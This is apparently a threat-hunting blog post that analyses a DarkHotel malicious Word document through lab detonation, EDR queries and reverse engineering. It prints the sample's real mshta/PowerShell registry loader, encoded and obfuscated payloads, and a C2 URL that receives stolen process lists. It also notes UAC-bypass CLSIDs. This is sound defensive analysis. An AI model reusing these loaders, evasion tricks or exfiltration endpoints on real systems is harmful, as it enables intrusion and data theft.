Hunting APT DarkHotel

Who doesn't love to study threat actors & their Mysterious Ways of operations? This One piqued my interest due to its name and its modus operandi. Also, There were some Intelligence Floating around.

Triggering Intelligences

Threat Actor Profile

Let's Start by Gathering Intelligence and Building on The actor Profile

(Threat Attribution as some may call it. Still learning this Art!! ).

"Know Your Enemy"

DarkHotel or DUBNIUM has the following key Characteristics:

Why Call it DarkHotel?

The Modus Operandi is Interesting !!

This Group used to track the traveling plans of their targets and used Hotel Networks/Wi-Fi to compromise them. They scaled their attacks later beyond business entities to political leaders/personas.

Why Specifically This Threat Group?

Most of the SOC operations and Hunting Operations revolve around Threat Intelligence, You might have a Vendor/Platform/Intelligence Team providing you data/feeds from multiple sources.

Similar to Co-existing system of Threat Intelligence & Hunting Operations, I believe Threat Intelligence is the Backbone of Hunting (I repeat Searching IOCs is not Hunting!!) and I try to engulf as many threat/intelligence reports as possible and try to make them actionable (Lot of Threat Research Teams doing some amazing work publishing for us to Consume, Aspire to become like one of those Amazing Threat Researchers.).

I came across one of those Feeds and this caught my attention. Did some Searching and data collection to finally stumble upon a Malware Sample used by this group.

Sample Acquisition

Most of the Reports you go through provide you with the IOCs, as written in my previous post, IOCs are basically entities that indicate that there is a compromise, which also means if you search around those IOCs you will reach the main Sample.

One Such Threat Sample/IOC was a Malicious Document used by this threat actor/Group

SHA256: 8d956e79689f2e34d66052f4a795440afd69e396f3f3f47802fcacea3e37d99d

I gathered this sample from Virustotal and began Detonating it in my Lab Environment to study behaviours.

Downloaded the File and Renamed it "8d956e79689f2e34d66052f4a795440afd69e396f3f3f47802fcacea3e37d99d.docx", after all it's a word document. After execution, Winword.exe Opened and loaded the file, it took like 2 minutes to just open up this document in protected mode by the Word processor.

"Open in Editing Mode" crashed my word process (maybe my VM was having low memory). I gave it another shot and opened the document this time in Editing mode and it successfully opened after loading for 2 more minutes.

Now here it begins.

I executed this word file on two different VMs and found this error to be generating on both of them as soon as i clicked "Enable Editing" :

In my experience, I saw no unexpected behavior that hinted at a security warning/issue(except the tooltip while clicking on enable editing). The word document contained a list of products and their shopping links that it was promoting. I just scrolled through the pages and then closed the MS-Word.

So to a normal user, this document might not at all seem malicious or dangerous as it didn't do any observable anomalous action in the front-end. Which is Dangerous!!

Now Let's start our analysis.

Event Analysis BreakDown

Activities of the infamous WINWORD.exe

Investigating Network/DNS Events observed ( Office apps making anomalous Network Connection is a very typical Threat Behaviour.)

I have also enabled Sysmon along with Elastic EDR to have Two Different types of Telemetry for the same events, this will help be ensure the reliability of

Process Activities

Interestingly, WinWord Process Spawned a few Anomalous Child Processes :

  • DW20.exe : This can be ignored as it is a Process that calls Microsoft error reporting Tool.

  • Cmd.exe : CommandLines (/cipconfig /renew) issues are commands to renew the IP address allocated to the Machine (DHCP Configuration)

  • qq3104.exe (Interesting!!): Random named Binary Process from an unusual location.

File Activities

data_stream.dataset : endpoint.events.file AND process.name : "WINWORD.EXE"   and event.action : "creation"

If I Just go by the number of Hits for File Creations(using the above Query), 87 Different entries appear, which is a very strong Indicator of Something not right.

File Activities by WinWord.exe should provide us context if this binary was dropped. (Chaining Pieces Together and Backtracking is Important step of Investigation and Hunting Operations )

As suspected the File was itself dropped by WINWORD.exe.

Another question that comes here is was the File Downloaded from a remote server and then Written on Disk or the File was embedded in the word document?

We'll have to figure that out, with File Forensics/Sample Analysis.

So there were multiple suspicious File Write Operations , The word process wrote these files and also wrote in their alternate Data Streams

  • qq3104.exe

  • qq2688.exe

  • googleofficechk.sct

  • p

  • b

As of now we know, a Word Document, Dropped multiple suspicious Files and initiated one of them (qq3104.exe) as a process.

Other Important Observation: Word document has written to Alternate Datastream to these dropped files.(Hence I rounded only these out of 87 as suspicious, !! I might be missing pieces here, but I'm generating leads for further investigations.)Another Very popular Technique)

Network Activities

data_stream.dataset : endpoint.events.network AND process.name :"WINWORD.EXE" 

Let's do a Datatable Visualization on Network Comms that are not DNS Type . (I hate how Kibana doesn't support Inline Aggregation Queries like Splunk/SQL/AQL/EQL; I know it supports EQLbut that's a stripped-down version of The Actual EQL )

Running the Data via VirusTotal, No Interesting Leads were Observed (Although these cloud IPs are something that I fear a lot, It could be Attacker Hosted Malicious Servers and since they are in CSPs they are difficult to work with)

Looks Like I'll have to set up network Monitoring Tools as well, only Destination IPs are not good enough to understand what happened!!!! Will try Installing Snort/Suricata/Zeek in the Next Analytical Story I write.

DNS queries

"signing-config.com" was a little suspicious, Running all the Data against Reputation Check, No significant Leads were observed.

let's move to understand what happened next, Traverse the Holy Tree !!

Now with an EDR you get a process Tree the breaks down the Process for you to quickly understand and act on it, while that might be the fastest way to understand contain and triage in a production Environment (Highly Recommended!!) for the sake of Learning and Understanding of every event and build solid research on the sample, I'll take the more data-intensive way of Traversing the Document. I'll upload the Process Tree diagram on the Github Repo for your reference if you guys are interested.

Child Processes of WinWord.exe

Let's Search for all the Child Processes of WinWord.exe to identify any suspicious process executed by the Application.

There are 10 Entries (Red Box shows the start and end of the WinWord.exe Process in the Below Diagram), Interestingly(also expected) we have qq3104.exe as a child process.

To sum up all the Interesting Observations :

  • Winword.exe Dropped Suspicious Files(qq3104.exe, qq2688.exe, googleofficechk.sct, p, b)

  • WinWord.exe Executed qq3104.exe

Interestingly qq3104.exe did not do anything after that, I had no events, no process flows, no file writes and no DLL reads, nothing after this.

I had two Explanations for this in my Head :

  • Anti-Analysis Technique/Vm-Virtual Environment Detection

  • The Criteria for Malware Infection didn't meet.

There's only one way to find this out: Static Sample Analysis

Static Sample Analysis

Since the sample we have our hands on it a Document file, let's start with Malicious Document analysis,

Mal-Doc Analysis

We'll be using OleTools to identify if the WORD document contains any Macro/OLE objects/ remote objects

Interestingly there is nothing suspicious Embedded in the document.

Let's proceed to Dump the Contents of the word document.

We get another Docx File(Altchunk2.docx) in the Dump.

Let's re-iterate the process of Dumping contents from this Docx file(Altchunk.docx).

This time we got an embedded RTF File(AltChunk.rtf) of 3966KB, while the Original sample download was 1141KB, and we have only performed dumping of embedded files,

Interesting, (also note the amount of compression that has been done by the Threat actor).

Since this is an RTF file, let's check first if it has any embedded objects inside it using oleTools :

We observe "b", "p", "googleofficechk.sct" files as we observed during dynamic detonation of the file.

We'll save these files on disk using OleTools.

Dropped Script Analysis: "googleofficechk.sct"

Let's open the sct file in VSCode. There were 2 important sections of the script:

The First section actually grabs a list of running processes, creates a string out of it, encodes it into base64 and send it to "hxxp://signing-config.com/cta/key.php" The data is sent as L=G641g1QQoWUiXE&q= {encoded list of processes}.

I've tried to simplify 2nd piece of code, by replacing variables with their values

  • The logic basically checks if there is already a folder named "LOCALAPPDATA\PeerDistRepub". if not Create it.

  • If LOCALAPPDATA\PeerDistRepub\msrcvcd32.exe exists then do nothing

  • Else

    • Copy TEMP\p to LOCALAPPDATA\PeerDistRepub\qq3104.exe.

    • Copy TEMP\b to LOCALAPPDATA\PeerDistRepub\qq2688.exe

    • Creates Alternate data streams for qq3104.exe and qq2688.eexe and writes ("ZoneID=1" as ZoneTransfer data)

    • Executes qq3104.exe

    • Renews Ipv4 configuration for NICs

Dropped Binary Analysis: p(qq3104.exe)

Static file properties

The above file is a 32-bit binary, probably one of the reasons why it didn't execute properly on my Lab environment

Some interesting Strings could be observed in the above screenshot.(I will use these strings to jump on to probably important code statements during reverse Engineering)

Reverse Engineering : "p"

Let's Just directly open the Disassembler and jump straight to references of "explorer.exe"(as inspected in the above strings section), decompiling the section

The code locks the PEB (PEB Contains the Process information )

The code attempts to lock the PEB and copies the process parameters of "explorer.exe" (probably to behave like explorer.exe)

Skimming through the binary code, another interesting peice of the code was observed:

Googling these CSLIDs,I easily got information that these are vulnerable CSLIDs are prone to UAC bypass attacks for privilege Escalation.

Also, these two are popularly exploited by almost all of the popular ransomware (Better keep a note of the pattern!!)

To note, these two CLSIDs point to

  • Cmstplua.dll

  • colourui.dll

Also the binary Executes another binary named qq2688.exe , which we know if renamed dropped binary "b".

Dropped Binary Analysis: b(qq2688.exe)

Straight off the entry point, it can be observed that the binary is checking for "360Tray.exe" and "QQPCTray.exe"

The binary also checks for a bunch of Firewall Rules (I've renamed the Function to "Check_passed_Firewall_Rules" for the ease of understanding.)

Finally, the Malicious Code segment is called:

The Code Attempts to Make some registry changes at "HKLM" hive, at "SYSTEM\\CurrentControlSet\\Services\\X" location

Keys Created are:

  • Description

  • DisplayName

  • ObjectName

  • ErrorControl

  • ImagePath

  • Start

  • Type

  • s

  • x

the ImagePath key value is an interesting string, let's try decoding that as well.

"mshta.exe vbscript:Execute("Dim s,p:Set s=CreateObject(""WScript.Shell""):p=""powershell -encodedcommand JABoAD0AKABnAHAAIABIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFgAIAAiAHMAIgApAC4AcwA7ACQAaAAuAFMAcABsAGkAdAAoACIAIAAiACkAfABmAG8AcgBFAGEAYwBoAHsAWwBjAGgAYQByAF0AKABbAGMAbwBuAHYAZQByAHQAXQA6ADoAdABvAGkAbgB0ADEANgAoACQAXwAsADEANgApACkAfQB8AGYAbwByAEUAYQBjAGgAewAkAHIAPQAkAHIAKwAkAF8AfQA7AGkAZQB4ACAAJAByADsA"":s.Run p&"""",0,true:close")"

The code executes mshta.exe to invoke powershell.exe with the payload

Decoded payload:

$h=(gp HKLM:\SYSTEM\CurrentControlSet\Services\X "s").s;$h.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$r=$r+$_};iex $r;

Now this command fetches data from HKLM:\SYSTEM\CurrentControlSet\Services\X\s , splits it and executes it.

The value is of s key is in HEX, so let's convert the code back to UTF-8 encoded string :

 try{[murrayju.ProcessExtensions.ProcessExtensions]::StartProcessAsCurrentUser('C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe','powershell -encodedCommand JABoAD0AKABnAHAAIABIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFgAIAAiAHgAIgApAC4AeAA7ACQAaAAuAFMAcABsAGkAdAAoACIAIAAiACkAfABmAG8AcgBFAGEAYwBoAHsAWwBjAGgAYQByAF0AKABbAGMAbwBuAHYAZQByAHQAXQA6ADoAdABvAGkAbgB0ADEANgAoACQAXwAsADEANgApACkAfQB8AGYAbwByAEUAYQBjAGgAewAkAHIAPQAkAHIAKwAkAF8AfQA7AGkAZQB4ACAAJAByADsA','','')} catch{powershell -encodedCommand JABoAD0AKABnAHAAIABIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFgAIAAiAHgAIgApAC4AeAA7ACQAaAAuAFMAcABsAGkAdAAoACIAIAAiACkAfABmAG8AcgBFAGEAYwBoAHsAWwBjAGgAYQByAF0AKABbAGMAbwBuAHYAZQByAHQAXQA6ADoAdABvAGkAbgB0ADEANgAoACQAXwAsADEANgApACkAfQB8AGYAbwByAEUAYQBjAGgAewAkAHIAPQAkAHIAKwAkAF8AfQA7AGkAZQB4ACAAJAByADsA}

Decoding the base64 encoded Command we get a similar command:

$h=(gp HKLM:\SYSTEM\CurrentControlSet\Services\X "x").x;$h.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$r=$r+$_};iex $r;

Now this command fetches data fromHKLM:\SYSTEM\CurrentControlSet\Services\X\s, splits it, and executes it. Again fetching that Data (and converting it from HEX to string):

x = $a ='7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkE#Q7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe@O51OJ/ff/z9cZmQBbPbOStrJniG#qsgfP358Hz8ivvipP-nX-LV/jV/j1/h1@P//9//9a/waf9evIc/vqT83PX8Q/f83-V3-nt/k1/jbfuyf/13/rl/z-T//u7@ZF02@qquLOluk02y5rNp0kqf1epkWy/Tpl@/TRTXLx7/xb5z8bgrj5emv8Ws8/zV/7V/jN/4r57-fgfsf/Rq/1u/@G/@av-Gv8Wv8DvTHryefLQ/on/TXMIj9Zvz7ryV44zE/f40/SD7H82v/Gr/nH4@m-J/7aX/w89sd/Bq/xmv88nv-Gr/Gf@XvBc8f8Gv8Gr9R5OMbn/TX-DV-#-/P34D-/rb397jN37X0s/3tpC2PtdM/ffwHjOumnv4aitvv-WvIQH-nsB19/HuO@7ysporrH/BrCKy01-5J-#nR/0B-fvvXwCu/7q/x7a1f49f4l37TX-PX-DW7DW/5/JY7vxajR-//5r/W9q9X08/Vt3@tLYKYJFu/Gf37@1W/Of37rWg7bvBrVb8FGv9@W78l2v2OO7/2r7H/a/JwfnNulNTErqvmt@Ivf8Nfv/qt@Uf129#/v-Wve/C3E7jf/Netflv@q@WPfs3f@Nf7Dep/idpWvx0a/fb0T/0f0Z9bvwOD/w3q/2zDd7/Wrzn83e-w4budDd8dhd/9vr-m-Y@Q/h3p5@Pf4//-v//v/-#3-s1/3dGvT58QcZJ/7z/4tX/hf/BrbP3O9Otv/GO/5a/32/yWv/4n@W/-@/3mv/@f81v-Or/eb/7rVL-g#-bX/21/79/y1//Nf/3f/Nf7E4q9f4tf/fW-9WtugXa/4Nf4p/4Lw8a/3q/xP/zyX-PX/h2Y9L/y1zi4-2vy77/lzq/7ayx-DcjMr/Gb/zY0B78LQfxdZt//De1vv83ub2J-/95v-3snn9g230t-vT/-twW5f5vf-JPRj/1@v-3vc-/X/vW3f/Pf4Md-rR/7XWY/9bvMqpRa/SWf/Cb@wa8vf//Yb/t7/8Y/9uvt/Uu/wbeUZ37PX4NZ-zff-l0xlF/@Ef37G/5@v/Fv81v-Op/8bj/2m/8@f85v9OvzR1s/Tv-MfqPfoPrdDBl/w9/81@FR/zq/-a/zYzTof/3XJ375dX-Nv4g#/bqOX/Dvb8j//kb1HwBq/e7oor40v/@G9Z9hfv2N/oPf-hfWf8Wvibfw72/I//5GN#VEll/vN@7/Hvrrt/x1@t/p1@Ifv279J-DHr1f/Xfjx@9f/O378Bj-2RYz@@/2WhPLWr4lfaG7ll9/wN//15Jff@Df/9eWX3/g3/7GtXwe//CaM22/5m8qP30x-CPK/5W/x2/yWv-UnD3/z5DdPmNq/-W/5-/y2v0/1C/Hbb/Cb/5a/y2/xff49-y1/q9/8N/3Nf@t/-Y8jhvg1tz@mT37L3/Q3/y2JLL/lb/5b@ot7f99v81v-1gToN/zNf0MB9Ft7gH5rB-i3-c1/s9/8t/EB/Wa/-W9NgH7r3/y31hcB@LclQL/Rb/4bCaDf1gP02zp#v91v/pv/5r-dD-g3/81/WwL02/7mv@2-CEC/PQH@jX/z31g#/fYeoN/e#fodfvPf4jf/HXx#v8Vv/tsToN/-N//t9cW9v-/X-81/i@0tzOmv/5v/5vzLb/jrbd2hH7/w15cfQsrfcevXBbV/x/-#Pkh/bXzwH/wazbc#8Xf@bX7L3/mT31da/YLf/BfUj-jb3/w3-c1/5z-H5Yo--k1/89/xN/8F/Mcv/M1/J--v@hN89B/8jvj0N-t-Cvn7D3@N3/x3JmR/59/8d/7NfxPizz9P-vhd@pfoP5W/flf58ZH8-HHTJPhuawREflw7T7mbX/83/3EebLUNmv1O1fjXgDYgwNVd-m1rh/559BW93vuq90H9h-G3Xfrtd/mx37vawyd/Fn3CfVf30PPv-pvTf0zt3/734Qa/5e/if7KPTz7@zX-X-s-j10RGfweD3q//m3/EP7fu0z8H/yB09O9S/2W23We/-Uf1X4e/thhG9K30jyJTsPWp//EDkPiTlkD9HRbUb2te/g38lz/5khr9#7bR7079/RP9/n@94JXfyUOj/pf#Db/L1oH59j/4zX7hf/#bmwZbD/GJZYC0zwDpH3TwawryB7/r//V//9-/-e9E2v13Eu1-/I-JRiZ792sQcr8GQf81yKDBFfg18flvSrrkx-jnb0c/E-/zn/@1pN0f-Guxvv41PtbPv01//@70s@Cfv@P3-e9FjX5j-u33/nWkvYHz9tcROH-Qfm7a/-30/t9Ov/30r-Pg0Ee/xh3@5y39/0/7dZxP9#t-ra1HhN23nrz-zpNfU70GfHe5N94Z3995sPc#n/y@v0ZJ//5T1MmP/9Jf49fYp/f/PRLGH3/d1sXyokGL34wG-K/h-@9e/xr/2W8sPtqPf/7V2VP@-cvp73-PQP/4k7KaaL-Exq/5-W/9azF9fo3//Xe/92v8NoL8x/Ldr/Hr/xoypkeKD3XH3-MzUFMw/fV-jbu/xhb9-zf9Gn8B/ftP8r//Gf/7a/-a-Pd34n/v878v-d-3/O9f-mv-Yb/mr/dr/J387z/On/wH/O/v-Gv9avrkkP/9fX4tQP@lv1b9ayW/xj/2a/0t9O-/T/9--Wv8Hzybv/uvjU-e0b-/3q9R/Npo-QfRv7/Jr/FX/tp/2q/9@/0a/xz//mO/zn/7a/8mv8ZT-vfX-zUufh20-bP437/y1/nzf51f79f4m-nf3-TX-Hd-nX-Rfv9l/Ptv--v-i/Tv7/fr/h@/7q/3a/yZvy7a/C2/7l/8@/4mv8Y/R59jtDLmX5P/-81-jd-S-ODX5d9fpvj8z/g1PmW@vNO/TuivX-vX-Iv4rz/513j5a/ymRLvf4CP5@3v09q/9a/xhH0nLGX33@/wa/xL/9Uf8Gs2v8dvTX7/nFv/1273jv9DrL-V//yT-98/5NX7zX-Pdr/E703f493flf-/wv7v870P-95j/PeN/f4L-/ejX-H3494z/LfjfX0T/fvxrXP8a@OcP/jWyX2v0a/zRv8Yf-Wvt0b9/0q/1gP79c3@tJ/T5X/prfZuwRvs/-df433@t7/4af/av8dv-2r/vr/EX/xqPfu3s1/irf43v/trnxEd/wK/99tf4u3-N1a9d0edXv/blr/EP/xp/3K/92/8a//Sv8Tf-2j-gf/8-/vbf-LX/VPr3P/@1/8xf49/-NX@HX-cvp9/3fp2/lv49-HX-Bvrkza/zt/0a//Wv0fw@CX3yJ/w@/wRD-2f533/51/hVv8Y/-Ov8m7/Gj/2awPPHfs3/7Nchy/Br/m-/zm9Kvye/7n9K/37y@/7Xv8bv-mt-99f-D@h9/ev-j/TvH/Tr/nLu@1fRv3/Ur/t/0b9/0q/7q3@NO7/mn/fr/jq/5u@v-Xf/usmv-U//Gv/gr/ub/pq#/1v/mnd-zX/81/2df80fYzqMf43fkGKqMc3RT9K/vyP/--P87yf8-b1f4/elfw/5k9/r12jp39e/xg/o3-mv8ZfRv29/jb-Z/m1-jb/n1/zs1/iDfo0/n/r9@Nf8df@gbkR#OiQIV37NX-N34Z/-Zy9-jb-F/wzbbbk/Hn9RzdZlfvRrlMVkdzwry1/jpMyaZpf//jUWzbSq@bdf4/V10-aLX-PLyU/n0/bXeJI1-af7T/MpRZL@x-mS/5B2Z8vz@td4vSqLltTLr/F53n5xfHI8m9V50-z9Gk2btb/GeNpW9a8x8V@dPc3a7NdYlVmxfIO4rKE3Bdr4VX5eUrdFtfw1jpsmX0zK@zdFW-bHLSmvybrN7cdP82ZaFys07X95Ui3Pi4t1nQ19vVhly-v-Fy9rItG0jb2xuq@Li3nkqzd1NssXWf028ta@bNe1h7wZ5XrZFot8fLZs87pavc7ry2KaN78G4fWTRVNM/PF-vi5mfcg/mddNdGjPijLvfdnpFsOnZrXfL33#xHqVl9k7/q1x7-uLTLa2mBQ02x7xiNiXed3-Gs/qaiEcIpbGdMtzzDOPDy/y9vf/@s2z#/CKtqPfnly3hMebKvb-F9kyu8gX-bL9Ndyvwp@v8@yezvO@98VJVRo-Iui9r0-X@0VO3FExy3p/uYb#RGU#KJ-s@zqG#X95BoF5Uxm05QeRZUrs/0V1mb8#Bc@eFs2qajKa3V9DfrUT87TILpZV0xbT5tcgFqQpaYCX/kqEQSf@14tskf8ap--mObM-f/M8X1@081/j9XrSBIR7kbf4/1VVv4WY1gue11/DfkTMd55Nc3R1XJbdj5tf43Sxaq9/jWr1-5/-onWGOf81Xs@vm2KalSrhjGTno9PlZVFXS5@u03ckZjPvk5/M@gIEkBGdzLOamI/-NRiffUmkqXNojGv3G-uYkzrP2tx9@8b4a3w3n5yUBTp8Wl0tyyqb@RS8zIgshOMrwqJaQDSYeqYVPsDL385JgmuPZYDcq5ymaNnk8mVj-nOtmvHrVT4tiD#/yGe/BgD/ZFaucw/MWfNiXZZf1kLHs-Usf/fl-a/xKifNR1R/lS-INX4NRgJMYsVlTiNlUZHffo3XZZ@viKsykrGneZm3jLRj#VH0f9#/-/rXOP01ntP/T3@NN79G-mv85K-R/xo1GZbi1@h-jeWvMfo1viSzc0yfTH-NOX3W0rdT-ndNn-T07Qm1WlO7lv@-5r9m/Dneek4u#NGEvs/oX2n9msxNRikM/PWK/r0gm#1DBbzZr/EV/YXf01/jGX3/5a/xBf32XWqzJHO492v8/vTJir/P@J2Cob-mfgUCJUZ-0xD7X-PX/plf49f4nTeN4Nf4beMj-DV-@9gIfo3f2B/Br/E7bxrBr/FrHxKU353arui/GWOc/Rq/-@/x-/4av8bv8ruTo10RFhn9jHz/m/7uOp@V/P1bnpCD/Ptay#0-y05-jZ8mCC-JOldEpZ8ger0jaO/o73e/xs@v8ZT-/gma0yl/f8E/f5ogPCP88ddP0Xc71OKCPt-hT3-Sfv4kOXHH9BkcOnLgf9Eban9M/z1lONfU@i1h/Yz-vqCfvw/RYYf-P@FPdumbZ5Sc3KVxfJcg#FJDnxzTm8f01ysKmr5L1NyhGcDfP0mYvtZvv2#MP@P/fo07z@ln8gqo/TVheJd-XhDkc3rz-Nf4Dv31bWr7BVoev@CZekLQnv8an1M/e4QTRrdPv18RhDPC7gm5pz9FPT3hUT-hz7/za/ze1OPvTa0I#sUi7-i3FcG4/DV-QBC2CeID@u8dYT@jPn-K/vo1f/udXyP-3@/xW/9Cmp-3BGn9a/xCGk1LFCKov@H5dEYxzgnzIGYS/24TjuCUFX3aMB8Kj/@av-U5/VZyK-ErgvNrk5f-@7fMEfLzHcWYY/ruHfiOP2n15xV/c0UQKHj7tSll8Of/Bm/-tF/w3/4zv9dfdXTyW/zXv--3fs1f4zf4O3/w-/7kb7//H/3Rv8@v8Wv-Jr8JhVa/CQUUvzP9lv4av-avk/@av-Zvgn9-LfzzG-CLX/c3oUjgtzj9ddNf8zf5nX/dX-fXpw/oV/qUvqMPfoO/@ff4/f/#3/xfTx79Oumv8Vt8gX9-#v98Ra//ToD4m1BQ9pv8Jgz81@Jo7nf-LfLf4tf/DX@T3-Lst/h98Gv-W/wE/fgN@Mvf4NdNf@3f5Df4DX79X//X-Q1-g9/5N/kNuOni1/r1qJdf@9f@TX4TgPxFv9Gv/-vSZ7/Jb7Ggf38Dgv9rU@tf@zf5nX4n/PubUD-/5m/xB/3BwP03-U0IFv/7a/wWf9#fT4P8tfDpb8BfcTe/CaBS#/qKh/hb5L/Jr/9r/Dr#kj/@Te78-r/bbxI8vzP/-xvo85v8Fn/QH/4byBc/9mv-Gr8Oe72/xq/LjvZv-2v-Gr-FdfHSf-SvTtO9nb0d/pa-v/Nr/hq/W3Yvu/9gf-fT7QcPHuxu79/f3duezPYebt//dG/n08mn-SSb3aPY99f8NX79XQrF@T9ahPg1dU3iFwDKm1/rt/luna1eVEuruUm/V1cNEPg9D5yb/vvh99T97T9m/c#9v/9JVT8tyy/IlxYXPs/Ztcfzf//uBOc3@77xo-f/Lc-vyZPz28kqWv#5eGIn8jmeb9P/f-/f89egiNt98yf9WpQUJCX5mkzrT5JyfEW/nZGRfUF/n9G/z-h3PH//r/M//l8Cx8SX8vP30L-QO/DjRzzICf2aBDUjk/VMVdwZKblzUnt4fjd-@w0b8yWpRJhCoxTl-Zt-nf/p1wSM12ycxdz3If1z3Map5n0ySTv0-T7nTUz7p/T/hpQ04KyCfkr@fUKmC88OSZ57p-NM0LNLUfuO/T/@-DFqD1zE#Y#KL52DYGGPySCwgv41M#-/Bb3znF0HtIaZWJHB#2YXZI5IsUc-SykDktJ/e9TvHvf9mPv-UtsU2rfB3RiTO#4jps1LehfuzpodIod1SJN9pknYtkuZLl0O-J1jagGXZUGwShpN17nsv/ejJ/@#OMiPrg5ubPmj5/-Hz/8D';( '36n98J32I61I32X36b97;32D45>114J101b112&108&97I99>101n32n39J64;39J44D39b54J39>59I36I99W32b61;32J36X98W32&45D99>114;101W112W108&97;99&101;32b39W35>39I44X39W65>39&59I36b100;32b61b32;36b99;32n45b114D101;112W108I97X99n101I32n39n45W39n44n39I43>39D59W36I68X101J102D108I97D116b101;83;116;114b101&97>109n32b61&32>78;101J119I45>79W98>106>101J99b116W32;73W79b46I67&111;109X112X114;101>115X115b105&111n110n46D68b101W102&108X97n116W101X83I116n114>101>97n109;40J91>73W79>46;77>101X109>111D114W121n83>116;114X101I97W109W93X91J67I111;110W118W101X114n116W93X58&58D70I114>111;109b66J97n115n101n54D52>83;116W114>105I110J103b40&36n100&41W44>91>73&79;46n67&111b109b112W114I101D115n115;105b111b110n46>67W111J109X112&114I101b115D115X105W111;110J77>111&100;101b93>58W58D68J101;99b111;109>112b114X101X115n115I41J59n36n98D117b102I102I101W114>32;61I32n78J101W119n45I79b98b106J101J99n116W32;66X121b116b101I91n93>40D56W55b48;52D41D59W36X68>101X102>108I97>116n101;83;116;114&101I97&109I46>82&101I97b100J40n36D98n117I102>102J101X114J44W32&48&44D32n56W55D48;52&41n32;124b32&79X117>116b45I78>117D108>108X59J91n82n101I102&108I101W99b116b105I111D110W46&65>115D115>101b109W98b108n121J93b58&58W76X111;97>100I40&36I98J117;102X102b101;114D41D32D124J32n79>117b116J45J78n117J108&108&59W36&79>98D106W32D61n32W78n101&119b45J79&98W106D101X99>116D32I108W105X98b49J46D67&108b97I115I115&49n59W36X79&98;106&46D115D116b97X116D40W41'.spLIt( 'n&bDWXJ>I;') | % {([INt] $_ -aS[cHaR])} ) -jOiN''|&( ([stRinG]$verboSEPREFeRENce)[1,3]+'x'-JOin'')

we get a long string(powershell Command/payload) of obfuscated strings and commands(so the long string is assigned to $a variable and 2nd part of the string is a series of obfuscated command).

De-obfuscating and modifying the above code to readable payload, Also modyfing the commands to save the data into a file rather than PowerShell executing it:

PowerShell is used to de-obfuscate the payload and save it into MemoryStream and execution takes from the Memory

We get a DLL File for Analysis, Phew!!! what a long chain of attack

Dropped .NET DLL Analysis (Memory Injected)

This is supposedly a .NET Dll hence we'll use VisualStudioCode + ISPY to decompile this DLL.

This Gives us a nicely formatted code to analyze:

Since the Malicious Code attempted to Execute stat() function via the Object initiation of this Class1,

I straight away jumped to analyze that function.

Initially, I used an online C# Compiler to compile codes in pieces and obtain necessary information, rather than unnecessary reverse engineering.

But then I encountered functions that couldn't run on online compilers as they were querying System Properties hence decided to quickly setup by .Net Env in VSCODE and write the code there. (I'm a C# noob but can do a code review to understand what's happening and write using the help of google)

I tried Changing the Program code to just perform the logic and print out variable names so as to Have a Reference of what happened and we can study the behavior.

So the Code logic is:

  • Create two Directories :(text & text2 from above snipped, Locations are Hard-coded)!!

  • Call GetSystemInfo() method which internally runs the following query:

  • I converted this to the Equivalent PowerShell command, got values from there and hardcoded the variables on the code (cause I'm not that good at C#/.net and didn't want to waste time debugging and assembly reference issue while setting up Visual Studio :-( )

  • Get a list of Running Processes

  • Get the Mac Address of the Machine

  • Generate C2 URLS : (Text9 + MacAddress+&mk=u&ltc=+base64(list of processes))

    • Text 9 and Text 10 are basically C2 Domains(values could be seen from the above snippet)

    • Execute the Download String via Webclient

      • If exception Genereate new c2 URL : (Text10 + MacAddress+&mk=u&ltc=+base64(list of processes))

      • These are executed as download strings to download the file from the C2

  • Code enters in infinite-Loop

    • Determine [Content-Disposition] Header in response, if its set,

      • PreProcess the [Content-Disposition] header ,

      • trigger a switch case(Pattern Indicative of C2 Commands being received in the Header)

        • On "TTA" command the file is moved (%appdata/RandomFileName --> %appdata/provided_filename)

        • On "TTX" command file is added .exe and executed (%appdata/ProvidedFilename --> %appdata/Provided_fileName+.exe)

        • On "TTT" file is again moved ((%appdata/ProvidedFilename --> %appdata/Provided_fileName)

        • On "TTW" the file is added .wll extension and moved(%appdata/ProvidedFilename --> %appdata/Provided_fileName+.+Provided_extension)

the C2s are not active, the Further file couldn't be downloaded for analysis, Hence I would conclude this Study here.

Conclusion

  1. The Attack would really happen on a 32-bit OS

  2. The C2's are down hence the entire attack chain couldn't be studied.

  3. There was a fairly low amount of Obfuscation compared to an APT group-style attack.

  4. Powershell to Deobfuscate code directly into memory and execute it in memory was a clever way of defense evasion & execution

  5. Copying properties of Explorer.exe and using it to spawn a spoof as nice TTP

  6. Elastic EDR Detections were not as effective against these Attacks as an "EDR" should be.

I'll post a separate Hunting & Detection jupyter notebook with all the code/forensics commands soon.

References :

Last updated